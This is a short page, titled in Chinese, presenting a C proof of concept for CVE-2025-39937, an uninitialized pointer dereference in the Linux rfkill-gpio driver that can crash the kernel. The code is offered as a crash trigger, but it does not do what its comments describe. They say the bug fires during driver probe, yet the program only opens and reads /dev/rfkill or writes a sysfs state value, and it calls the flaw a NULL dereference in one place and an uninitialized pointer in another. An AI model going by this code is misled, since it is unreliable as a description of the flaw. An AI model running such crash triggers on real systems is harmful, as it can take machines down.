CVE-2025-39937 Linux内核rfkill-gpio驱动未初始化指针解引用漏洞

/* * CVE-2025-39937 PoC - Trigger NULL pointer dereference in rfkill-gpio driver * * This PoC demonstrates the vulnerability by attempting to bind the rfkill-gpio * driver to a BCM4752 or LNV4752 ACPI device on an x86 system. * * Prerequisites: * - Linux kernel version affected by commit 7d5e9737efda * - x86 system with BCM4752 or LNV4752 ACPI device * - Stack memory at type_name location must be non-NULL * * Note: This is a reliability issue that may cause system crash (kernel oops/panic). * The crash occurs during driver probe when rfkill_find_type() is called with * an uninitialized type_name pointer. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> /* * Trigger the vulnerability by writing to the rfkill device or * by attempting to rebind the rfkill-gpio driver to the ACPI device. * * On vulnerable systems, this will cause a kernel oops due to * dereferencing an uninitialized pointer in rfkill_find_type(). */ int main(int argc, char *argv[]) { int fd; char buf[8]; /* Attempt to trigger rfkill-gpio probe by accessing the device */ fd = open("/dev/rfkill", O_RDWR); if (fd < 0) { perror("open /dev/rfkill"); /* Try sysfs approach */ system("echo 1 > /sys/class/rfkill/rfkill0/state 2>/dev/null"); } else { /* Read current state to trigger any lazy initialization */ read(fd, buf, sizeof(buf)); close(fd); } printf("Attempted to trigger CVE-2025-39937\n"); printf("Check dmesg for kernel oops related to rfkill-gpio\n"); return 0; }